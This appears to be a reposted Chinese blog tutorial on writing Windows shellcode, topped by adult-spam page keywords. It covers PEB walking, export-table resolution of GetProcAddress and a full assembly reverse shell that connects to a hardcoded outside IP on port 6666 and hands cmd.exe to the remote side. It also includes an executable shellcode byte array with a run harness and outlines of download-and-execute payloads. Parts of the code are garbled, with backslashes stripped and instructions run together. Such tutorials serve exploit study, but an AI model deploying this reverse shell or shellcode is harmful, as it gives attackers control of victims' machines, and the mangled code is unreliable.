日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

64位虚拟机下asm()语法_一步步学写Windows下的Shellcode

發布時間:2024/6/1 windows 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 64位虚拟机下asm()语法_一步步学写Windows下的Shellcode 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

如何在WIndows下編寫一個shellcode?為什么會問這個問題,前段時間在做win下的Exploit,但是都是使用大佬寫的shellcode,無法實現個人的一些需求。而網絡上編寫shellcode的教程大多是關于Linux的,加之順帶學習PE文件結構,所以打算寫一篇關于Windows 下shellcode的編寫,為要編寫Shellcdoe的讀者提供一些參考。

摘要:

在C語言中,調用一個函數,編寫者無需關心函數地址是如何獲取的,所有的操作IDE在進行鏈接的時候幫助我們完成了。但是在shellcode中,這些操作都需要我們自己去完成,理解PE結構,理解函數表,這些都是shellcode編寫最有魅力的一部分。

本文的邏輯首先是從C代碼著手,學習如何使用匯編重現的基礎,編寫一個無移植性的shellcode作基礎引導。在掌握了硬編碼編寫之后,通過掌握獲取函數導出表,編寫能夠在所有Windows版本上運行的通用shellcode。

這篇文章時間跨度比較久遠,起筆還是暑假在貴陽的時候,后來做了一段時間WEB安全,這篇文章便寫了一小半就爛尾了。后來投入到Win/Browser下漏洞的懷抱中(最近又回Ubuntu了,渣男。出戲:陸司令:何書桓!你在我的兩個女兒之間跳來跳去,算什么東西!),需要在WIN7下做一些自定義shellcode,自己之前自定義的shellcode居然無法在WIN7下運行,于是想起這篇未完工的文章,借此對shellcode編寫做一次總結與復習。

0x00 創建自己的SC實驗室

當我們創建自己的shellcode實驗室時候,我們必須清楚無論是自己編寫的,亦或者是網絡上獲取的shellcode,我們都需要對其的行為有一個深刻的了解。

首先是安全性,要做的就是在一個相對安全的環境下進行測試(例如虛擬機),以保證不會被黑吃黑。

其次,這個測試方法要足夠方便。不能將shellcode隨意的扔到自己寫的Exploit中進行測試,因為大多數Exploit對shellcode的格式要求是非常嚴格的,尤其是棧溢出方面的漏洞。初期編寫的shellcode可能包含大量Null字節,容易被strcpy截斷。(比如筆者寫的shellcode基本都通不過棧溢出的測試。。汗,一般直接扔到Browser的Exploit里)

下面是我們的shellcode調試環境,如果是WIN7以后的版本需要將DEP選項關閉。

Shellcode-lab

調試一段shellcode環境:windows xp sp0編譯器:VC++6.0

char shellcode[]="xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x6ex6fx74x65x70x61x64x2ex65x78x65"
"x00";


int main(int argc,char **argv){
/*方法一 VC++6.0 error報錯*/
/*
int(*func)(); //創建一個函數指針func
func=(int (*)())shellcode; //將shellcode的地址賦值給func
(int)(*func)();//調用func
*/
/*方法二 asm*/
__asm
{
lea eax,shellcode//將shellcode地址賦值給eax
push eax//將eax入棧
ret//跳轉到eax地址
}
//PS:第二種方法只有關閉NX/DEP才行(XP下就沒有這個問題)
}

0x01從C到shellcode

shellcode大多是包含很多惡意行為的代碼,就如它名字由來的那樣 “獲取shell的代碼”。

但是在漏洞大多數復現中,我們需要做的僅僅是證明自己能夠利用,所以我們編寫的shellcode需要滿足無害性和可見性。例如彈出一個計算器,或者如下面的C代碼一樣,讓Exploit彈出一個極具個人風格的MessageBox也是一個不錯的選擇。

C實現非常簡單,只需要調用MessageBox函數,寫入參數。

#includeint main(int argc,char** argv){
MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK);
}

放入IDA,查找到Main函數的位置。
可以查看反匯編,四個參數分別PUSH入棧,然后調用MessageBoxA
MSDN對MessageBox的描述

放入IDA,查找到Main函數的位置。
可以查看反匯編,四個參數分別PUSH入棧,然后調用MessageBoxA
MSDN對MessageBox的描述

int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );

在OD中下斷點調試,得到同樣的結果。

基于調試可知,MessageBoxA從USER32.DLL加載到內存的地址為0x77D3ADD7

當然這個地址是非常不穩定的,受到操作系統版本還有很多因素(例如ASLR)的影響
不過為了簡便shellcode,目前將這部分先放一放。

在我們編寫的另一個程序中(見下文),發現這個函數依舊被映射到了同一個位置
因為XP沒有開啟ASLR的緣故,DLL加載的基地址不會變化
值得注意的是該程序需要調用USER32.DLL,否則需要手動LoadLibrary

但是現在這段C生成的代碼,直接提取字節碼是行不通的。
函數的參數被放在了該程序的Rodata段中調用,與地址無關的段。
而我們要求shellcode能在任何環境下運行,需要保證參數可控,即需要將參數入棧,然后再調用。

接下來用匯編重寫一遍(C嵌入asm)
通過自己將數據入棧,然后調用MessageBoxA

#include
void main()
{
LoadLibrary("user32.dll");//Load DLL
__asm
{push 0x00656e;nepush 0x69617267;graipush 0x694d2079;y Mipush 0x62206565;ed bpush 0x6b636168;hackpush 0x20657261;Arepush 0x20756F59;You
mov ebx,esppush 0x0push 0x656e6961;ainepush 0x7267694d;Migr
mov ecx,esp
//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );xor eax,eaxpush eax//uTyoe->0push ecx//lpCaption->Migrainepush ebx//lpText->You are hacked by Migrainepush eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}
}

將ASM提取字節碼

再OD中查看這一段ASM

使用UltraEditor查看16進制字節碼,然后找到我們的ASM,復制便成功提取了我們的shellcode

68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68
65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59
6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67
72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6
5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF

調整一下格式,便獲取到了shellcode

char shellcode[]="x68x6Ex65x00x00x68x67x72x61x69x68x79x20x4Dx69x68""x65x65x20x62x68x68x61x63x6Bx68x61x72x65x20x68x59""x6Fx75x20x8BxDCx6Ax00x68x61x69x6Ex65x68x4Dx69x67""x72x8BxCCx33xC0x50x51x53x50xBExD7xADxD3x77xFFxD6""x5Fx5Ex5Bx83xC4x40x3BxECxE8x97x3BxFFxFF";

放入上文搭建的shellcode調試環境,添加LoadLibrary(“user32.dll”);以及頭文件#include

在WInodws xp下運行效果理想

優化shellcode

去除null字節

這里使用xor配合sub就能夠完全去除null,還有一些其他方法,使用16位寄存器避免null字節,在《exploit編寫教程》上面都有詳細的介紹,就不再重復造輪子了。

__asm
{/*使用sub來替換/x00*/
mov eax,0x1111767f
sub eax,0x11111111
push eax//push 0x0000656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp/*使用xor來替換/x00*/xor eax,eax
push eax//push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}

此時生成的shellcode就不存在x00了

0x02編寫更穩定Shellcode

如何提高shellcode 的可移植性一直是一個需要我們在一的問題。

前文我們編寫的MessageBoxA的地址是硬編碼的,導致這段shellcode只能利用于windows xp sp0。

但是Windows并不支持像Linux那樣的int 0x80中斷呼叫函數的操作,于是唯一的方法就是通過PE文件中的函數導出表獲取函數此刻的地址,這個方法在提高可移植性的同時,還可以一勞永逸地解決ASLR帶來的地址偏移問題。

1. 動態定位kernel32.dll

不同版本的操作系統,kernel32.dll的基地址也是不同的。Windows沒有linux那樣方便的中斷機制來調用系統函數,所以只能通過基址+偏移地址來確定函數的位置。

通過PEB獲得基址

我們可以通過Windbg解析PEB(WindowsXP符號表已經不再支持自動下載)

所以手動下載安裝WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe

但是碰到一些問題,所以在Windows10下用Windbg(x86)進行PEB分析

使用windbg加載任意一個x86程序,會出現break,等待到出現int 3即可進行操作

!peb可以自動分析,可以查詢到KERNEL32.DLL的地址。

PEB是進程環境塊,由TEB線程環境塊偏移0x30字節。我們這里需要直到查找地址的原理。
大概流程是通過FS段選擇器找到TEB,通過TEB找到PEB,然后獲取kernel和ntdll的地址。
接下來我們在windbg中,來手工實現PEB結構分析,之后會使用匯編完成Kernel基址的讀取。
查看PEB結構

直接查看LDR結構

偏移0xc,選擇InLoadOrderModuleList
查看這個_LIST_ENTRY結構

_LIST_ENTRY 是一個存放雙向鏈表的數據結構(包含于_LDR_DATA_TABLE_ENTRY)
_LDR_DATA_TABLE_ENTRY是存放載入模塊信息的結構,并且是由_LIST_ENTRY這個雙向鏈表串聯起來。
由三種串聯方式,區別僅在于排列順序(上文我們偏移0x14選擇InMemoryOrderModuleList )

+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]

第一個_List_ENTRY指向的地址是0x51c08(因為InMemoryOrderModuleList的指針指向的是下一個結構的InMemoryOrderModuleList,而不是_LDR_DATA_TABLE_ENTRY的結構頭,需要偏移0x8)

查看對應的_LDR_DATA_TABLE_ENTRY結構,得知這是iexplore.exe(調試的宿主程序)的基地址為0x01120000(DLLBase)

接下來順著LIST_ENTRY,往下尋找結點。發現kernel在第三個結點。

查看這個地址的_LDR_DATA_TABLE_ENTRY結構
通過這兩次觀察,可以發現,實際上這個結構體的第一個結構就是_List_ENTRY,負責將這些_LDR_DATA_TABLE_ENTRY結構串聯成鏈表。
偏移0x18可以得出DllBase為0x77e10000

成功獲取Kernel的基地址。
用接下來用匯編實現kernel地址的讀取
原理是在InMemoryOrderModuleList結構中,kernel位置固定為第三個。

global CMAIN
CMAIN:
mov ebp, esp; for correct debuggingxor ebx,ebx
mov ebx,[fs:0x30] ;TEB+0x30->PEB
mov ebx,[ebx+0xc] ;PEB+0xc->LDR
mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一個節點->??.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第二個節點->ntdll.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第三個節點->Kernel.dll
mov ebx,[ebx+0x10]; DllBase偏移0x18減去指向偏移0x8;下文會詳細分析xor eax, eax
ret

使用SASM調試,在結尾下斷點,發現ebx已經成功賦值為了kernel的地址,與windbg顯示的一致。(此處的匯編代碼是之前在另一臺機器上做的實驗,所以kernel地址不同,希望不要引起爭議)

使用命令!peb

如果需要在VS下編譯,也可采用內聯匯編實現。

int _tmain(int argc, _TCHAR* argv[])
{int kernel32=0;
_asm{xor ebx,ebx
mov ebx,fs:[0x30]
mov ebx,[ebx+0xc]
mov ebx,[ebx+0x14]
mov ebx,[ebx];ntdll
mov ebx,[ebx];kernel
mov ebx,[ebx+0x10];DllBase
mov kernel32,ebx
}printf("kernel32=0x%x",kernel32);
getchar();return 0;
}

上述代碼中(SASM),比較需要注意的第15行為ebx+0x10而不是0x18(_LDR_DATA_TABLE_ENTRY結構中標準的DllBase偏移)
主要原因是InMemoryOrderLinks的指針指向的是下一個_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks(結構偏移0x08),所以需要該地址減去-0x8才是正確的文件頭(圖中案例0x954dd0-0x8)
所以當ebx存放InMemoryOrderLinks的指針時,要獲取DllBase需要偏移0x18-0x8=0x10

至此我們已經獲取到了kernel32.dll的基地址,獲取這個地址的方法還有很多方法,使用SEH、TEB都可以間接獲取Kerne32的地址,如果有需要可以參考《Exploit編寫系列教程》。還有需要注意的是不同系統下,某些獲取方法可能會失效,這次實驗的測試環境(Win7)下的尋址就和之前的系統有一些不同,所以可能不會向前兼容,不過通過windbg對單個系統進行符號調試,是很容易發現區別的并且修改方案。

2. 獲取函數地址

在理解這部分之前,我們首先需要對PE格式有一定的了解。就從我們剛才獲取了基地址的Kernel32作為基礎,一步步看如何獲取系統API函數的地址。

首先從DOS頭開始,Windbg能夠使用符號表來對地址進行解析。
解析_IMAGE_DOS_HEADER結構,我們只需要了解e_lfanew字段,指向PE頭,該字段在在DOS頭偏移0x3c的位置。

之前的kernel基址加上e_lfanew字段的偏移(0n開頭表示十進制)是指向PE頭的指針。

獲取了PE頭指針,我們即可以使用windbg解析PE頭的_IMAGE_NT_HEADERS結構
_IMAGE_FILE_HEADER 是一個結構體,包含代碼數目、機器類型以及特征等信息。
而我們這里需要使用的結構體是_IMAGE_OPTIONAL_HEADER

繼續利用windbg分析,經過兩次分析,現在的讀者應該也已經輕車熟路了。

分析_IMAGE_OPTIONAL_HEADER,其包含以下幾個信息。

很顯然,偏移0x60的DataDirectory段就是函數導出表的偏移。

AddressOfEntryPoint:exe/dll 開始執行代碼的地址,即入口點地址。
ImageBase:DLL加載到內存中的地址,即映像基址。
DataDirectory-導入或導出函數等信息。

繼續解析這個結構,終于獲取到了這個結構到VA。

因為我們之前的解析都沒有用到指針,所以可以一起算VA偏移PE頭一共0x78字節(240是PE偏移DOS,是動態獲取)

獲取到DATA DIRECTORY結構到VirtualAddress地址
我們關心的主要有三個數組結構

AddressOfFunctions:指向一個DWORD類型的數組,每個數組元素指向一個函數地址。
AddressOfNames:指向一個DWORD類型的數組,每個數組元素指向一個函數名稱的字符串。
AddressOfNameOrdinals:指向一個WORD類型的數組,每個數組元素表示相應函數的排列序號

AddressOfNames的結構是一個數組指針,每個機器位(4字節)都指向一個函數名的字符串。
所以我們可以通過遍歷這個數組,結合字符串匹配獲取到該函數的序號。

AddressOfNameOrdinals存放這對應函數的索引值,在獲取了函數的序號之后,按照序號查找函數索引值。
需要注意的是每個索引值占2字節。
例如第三個函數ActivateActCtx函數的索引值為4

AddressOfFunctions則根據索引排序,存放著函數的地址。
地址加上0x10[索引4字節*指針4字節]存放ActivateActCtx函數的偏移地址。

我們使用匯編來實現這一過程,接著上面的匯編代碼,此時的EBX存放Kernel32的地址。

;從Kernel32的PE頭,獲取DATA DIRECTORY的地址
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offsetadd edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORYadd edx,ebx ;EDX=DATA DIRECTORY
;將字符串與AddressOfNames 數組匹配,獲得函數的序號
;compare string
xor ecx,ecx
mov esi,[edx+0x20]add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;通過序號在AddressOfNameOrdinals中獲取索引
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinalsadd esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
;通過索引在AddressOfFunctions中獲取函數地址,存放于EDX
mov esi,[edx+0x1c];AddressOfFunctionsadd esi,ebx
mov edx,[esi+ecx*4]add edx,ebx ;EDX = GetProcAddress

此時我們已經獲取了GetProcAddress函數的地址,所有關于PE文件的內容到這里也就結束了,之后我們就可以想C語言一樣非常容易地調用一個函數。我們已經度過了編寫shellcode最黑暗的過程,接下來迎接著我們的將是一條康莊大道。

通過GetProcAddress,我們首先可以使用獲取LoadLibrary函數的地址,該函數可以用來加載user32模塊,同時獲取其基地址。這部分就比較簡單了,直接貼代碼。

;Get LoadLibraryxor ecx,ecxpush ebx ;Kernel32 入棧備份push edx ;GerProcAddress 入棧備份push ecx ;0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp;"LoadLibraryA"push ebx ;
call edx ;GerProcAddress(Kernel32,"LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"pop ecx; ECX=0push eax ;EAX=LoadLibraryApush ecx
mov cx, 0x6c6c ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")

到這里,有一定匯編和WIN32基礎的讀者已經可以編寫shellcode邏輯了,思路即通過GetPrcAddress函數獲取需要的函數地址,能結合完成各項功能,剩下的部分就需要讀者發揮自己天才的想象力了。

文末會提供一個完整編寫的shellcode作為案例。

0x03三種經典的shellcode形式

Shellcode在功能性上的實現,主要分為以下三大類
分別是下載惡意文件執行、程序本身捆綁文件還有直接反彈shell獲得控制權
在內核層面則還有提權等操作,這里只對應用層shellcode功能實現做一個歸類。

(1)下載執行

調用URLDownloadToFile函數下載惡意文件到本地,并且使用Winexec執行
函數原型

HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);

(2)捆綁

通過GetFileSize獲取文件句柄,獲取釋放路徑(GetTempPathA),設置好文件指針(SetFilePoint),使用VirtualAlloc在內存中申請一塊內存,再將數據讀取(ReadFile)寫入到本地文件(CreateFIle WriteFile),最后在對該文件執行。

(3)反彈shell

反彈shell屬于無文件攻擊,使用socket遠程獲得對方的cmd.exe。優點是不容易留下日志,適合滲透測試中使用,缺點也很明顯,維持連接的穩定性較差。

在Windows下實現反彈shell,比Linux多了一個步驟,啟動或者初始化winsock庫,之后創建cmd.exe進程然后TCP連接端口/打開監聽方法都是相近的。

需要注意的使用C編程可以使用Socket結合雙管道進行通信,但是用匯編管道編寫比較麻煩。不建議使用管道來進行通信。解決方案是使用WSASocket代替Socket,這個函數支持IO重疊。

函數原型

SOCKET WSASocket (
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags
  );

這里我們主要針對第三種功能,實現一個無管道的反彈shell代碼。
因為篇幅較長,這里使用C++實現,接下來只需要用匯編調用函數實現即可。
本部分參考博客:https://blog.csdn.net/PeterZ1997/article/details/79448916

實現環境

WIN7 SP1
VS2010

首先實現一個TCP連接,使用nc做連接測試。

WSASocket的使用與Socket基本一致,多出來的參數設置為NULL即可。

包含頭文件WinSock2.h和winsock.h

//初始化WSA套接字
WSADATA wsd;
WSAStartup(0x0202,&wsd);
SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SOCKADDR_IN sin;sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR);sin.sin_port=htons(REMOTE_PORT);sin.sin_family=AF_INET;//連接遠程的服務端,發送驗證代碼
connect(socket,(sockaddr*)&sin,sizeof(sin));
send(socket,"[+]Hello!n",strlen("[+]Hello!n"),0);
接下來將使用CreateProcess為cmd.exe創建子進程,然后將標準輸入、標準輸出、標準錯誤輸出都綁定到socket上。(這部分在Linux下實現比起Windows就簡單多了,可以直接重定向)//創建cmd進程
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb=sizeof(STARTUPINFO);
si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket; //將標準輸入輸出綁定到Socket
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
TCHAR cmdline[255]=L"cmd.exe";while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){ //創建進程,第五個參數TRUE子進程繼承父進程的所有句柄
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

在匯編編寫中,可以講首先計算出關鍵函數和DLL的基地址并且放入棧幀,方便隨時調用。

socket類的函數(WSAStartup、connect)如果執行成功EAX會返回0,如果失敗會返回-1(0xFFFFFFFF)

以上程序實現函數的來源

Kernel32.dll

CreateProcessA
GetStartupInfoA
LoadLibraryA

ws2_32.dll

WSAStartup
WSASocketA
connect

使用匯編編寫

初始化部分(代碼量較大,僅做參考,速讀的讀者可以暫時跳過這部分)

nop
nop
nop
;get the address of kernel32.dllxor ecx,ecx
mov eax,fs:[0x30];EAX=PEB
mov eax,[eax+0xc];EAX=PEB->LDR
mov esi,[eax+0x14];ESI=PEB->Ldr.lnMemOrder
lodsd ;mov eax,[esi];esi+=4;EAX=SecondMod->ntdll
xchg eax,esi
lodsd ;EAX=ThirdMod->kernel
mov ebx,[eax+0x10] ;EBX=kernel->DllBase
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;compare stringxor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcessAddress
;EDX=GetProcAddr
;EBX=kernel32
;get CreateProcess addressxor ecx,ecxpush ebx ;Kernel32push edx;GetProcAddr
mov cx,0x4173;sApush ecx ;sApush 0x7365636F;ocespush 0x72506574;tePrpush 0x61657243;Creapush esp ;"CreateProcessA"push ebx
call edx;GetProcAddr("CreateProcessA")
add esp,0x10 ;clean stackpush eax ;CreateProcessA
;CreateProcessA ;GetProcAddr 4
;Kernel32 8

//mov ebx,[esp+8];Kernel32
mov edx,[esp+4];GetProAddr

;get GetStartupInfo address
mov ecx,0x416F66
push ecx;foA
push 0x6E497075;upIn
push 0x74726174;tart
push 0x53746547;GetS
push esp
push ebx ;Kernel32
call edx ;GetProAddresss("GetStartupInfoA")


add esp,0x10;clean stack
push eax ;GetStartupInfoA
mov edx,[esp+8];GetProAddr
;Get LoadLibrary
xor ecx,ecx
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress("LoadLibraryA")



add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
mov cx,0x3233 ; 32
push ecx;
push 0x5F327377 ; ws2_
push esp ; "ws2_32"
call eax ; LoadLibrary("ws2_32.dll")


;MessageBoxA address
add esp,0x8 ;pop "ws2_32.dll"
push eax
;ws2_32.dll ;LoadLibraryA 4
;GetStartupInfoA 8
;CreateProcessA ;GetProcAddr 0x10
;Kernel32 0x14



mov edx,[esp+0x10] ;GetProcAddress
xor ecx,ecx
mov cx,0x7075;up
push ecx
push 0x74726174;tart
push 0x53415357 ;WSAS
push esp ;"WSAStartup"
push [esp+0x10];ws2_32.dll
call edx;GetProcAddress("WSAStartup")

add esp,0xc
push eax;WSAStartup

mov edx,[esp+0x14] ;GetProcAddress
mov ebx,[esp+4];ws2_32.dll
xor ecx,ecx
mov cx,0x4174;
push ecx ;tA
push 0x656B636F ;ocke
push 0x53415357 ;WSAS
push esp ;"WSASocket"
push ebx;ws2_32.dll
call edx;GetProcAddress("WSASocket")

add esp,0xc
push eax;WSASocket

mov edx,[esp+0x18] ;GetProcAddress
mov ebx,[esp+8];ws2_32.dll
xor ecx,ecx
push 0x746365 ;ect
push 0x6E6E6F63 ;conn
push esp ;"connect"
push ebx;ws2_32.dll
call edx;GetProcAddress("connect")

;inet_addr
add esp,0x8
push eax;connect
mov edx,[esp+0x1c] ;GetProcAddress
mov ebx,[esp+0xc];ws2_32.dll
xor ecx,ecx
mov cx,0x72;
push ecx;r
push 0x6464615F;_add
push 0x74656E69;inet
push esp ;"inet_addr"
push ebx;ws2_32.dll
call edx;GetProcAddress("inet_addr")

;htons
add esp,0xc
push eax;
mov edx,[esp+0x20] ;GetProcAddress
mov ebx,[esp+0x10];ws2_32.dll
xor ecx,ecx
mov cx,0x73
push ecx;s
push 0x6E6F7468;hton
push esp ;"htons"
push ebx;ws2_32.dll
call edx;GetProcAddress("htons")

add esp,0x8
push eax

;htons ;inet_addr 4
;connect 8
;WSASocket 0xc
;WSAStartup 0x10
;ws2_32.dll 0x14
;LoadLibraryA 0x18
;GetStartupInfoA 1c
;CreateProcessA 0x20
;GetProcAddr 0x24
;Kernel32 0x28

編寫Socket部分
到這里,我們的程序已經能和服務器建立TCP連接了
/*Socket部分*/
//WSTartup(0x202,&WSADATA,)
sub esp,0x20
mov eax,[esp+0x30]
push esp;lpWSADATA
push 0x202;wVersionRequested
call eax //if eax->0 sucess.else fail
//WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0)
mov eax,[esp+0x2c];WSASocket
xor ecx,ecx
push ecx
push ecx
push ecx
mov cx,0x6
push ecx
mov cx,0x1
push ecx
inc ecx
push ecx
call eax
push eax; //push socket
//inet_addr(120.79.174.75)
mov eax,[esp+0x28] ;inet_addr
xor ecx,ecx
mov cx,0x35
push ecx;5
push 0x372E3437;74.7
push 0x312E3937;79.1
push 0x2E303231;120.
push esp;
call eax;
add esp,0x10
push eax;push Remote_addr -->sa_data+2
//htons(6666)
mov eax,[esp+0x28] ;htons
push 0x1A0A ;6666
call eax
mov edx,[esp+0x30];connect
//Store sock_addr
push ax;push Remote_ports -->sa_data
mov ax,0x2
push ax;push AF_INET -->sa_family
mov ebx,esp; store sock_addr
//Connect(socket,&sock_addr,sizeof(sock_addr));
/*
00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12)
00000000 ; XREF: _wmain_0/r
00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w
00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w
00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w
00000010 sockaddr ends
*/
push 0x10 ; sizeof(sock_addr)
push ebx ;scok_addr
push [esp+0x10];socket
call edx ;connect ; server#nc -l 6666 (close fire wall)
在本地創建cmd.exe子進程
注意這兩個語句也需要實現,否則只能在本地打開一個shell
#define STARTF_USESTDHANDLES 0x00000100
即使用父進程的句柄(我們的Socket也是一個句柄)而不是全新的句柄。
//si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE;
/*創建cmd.exe子進程*/
/*
00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14)
00000000 ; XREF: _wmain_0/r
00000000 cb ->size 44 ; XREF: _wmain_0+134/w
00000004 lpReserved dd ? ; offset
00000008 lpDesktop dd ? ; offset
0000000C lpTitle dd ? ; offset
00000010 dwX dd ?
00000014 dwY dd ?
00000018 dwXSize dd ?
0000001C dwYSize dd ?
00000020 dwXCountChars dd ?
00000024 dwYCountChars dd ?
00000028 dwFillAttribute dd ?
0000002C dwFlags 0x100
00000030 wShowWindow dw
00000032 cbReserved2 dw ?
00000034 lpReserved2 dd ? ; offset
00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset
0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w
00000040 hStdError ->socket ; XREF: _wmain_0+141/w
00000040 ; _wmain_0+147/r ; offset
00000044 _STARTUPINFOW ends
00000044
*/
//init _STARTUPINFO
mov esi,[esp+0x8]
push esi; push hStdError
push esi; push hStdOutput
push esi; push StdInput
xor esi,esi
xor ecx,ecx
push esi;
push esi;
push 0x100; dwFlags
mov cx,0xa
PUSH_NULL:
push esi
loop PUSH_NULL
mov ecx,0x44 ;cb
push ecx
mov edx,esp ;_STARTUPINFO
mov ebx,[esp+0x90];CreateProcess
push 0x657865;exe
push 0x2E646D63;cmd.
mov esi,esp ;"cmd.exe"
//CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)
push edx;&pi
push edx ;&si
xor ecx,ecx
push ecx;NULL
push ecx;NULL
push ecx;NULL
inc ecx
push ecx;TRUE
sub ecx,0x1
push ecx;NULL
push ecx;NULL
push esi;cmdline
push ecx;NULL
call ebx;CreateProcess
push eax

在執行call之后,你的服務器會得到一個windows的反彈shell。生成Unicode碼之后,繼續用可憐的IE8來做實驗。

?0x04 shellcode布置技術

我們知道在棧溢出中,可以將shellcode布置在??臻g的不同位置,同樣在實際漏洞利用中,尤其在棧溢出已經落寞的今天,堆利用中,布置shellcode方法更是層出不窮,筆者也無法將所有的方案匯總全面,就僅對目前常見的幾種布置技術做個總結。

Jmp esp /ROP

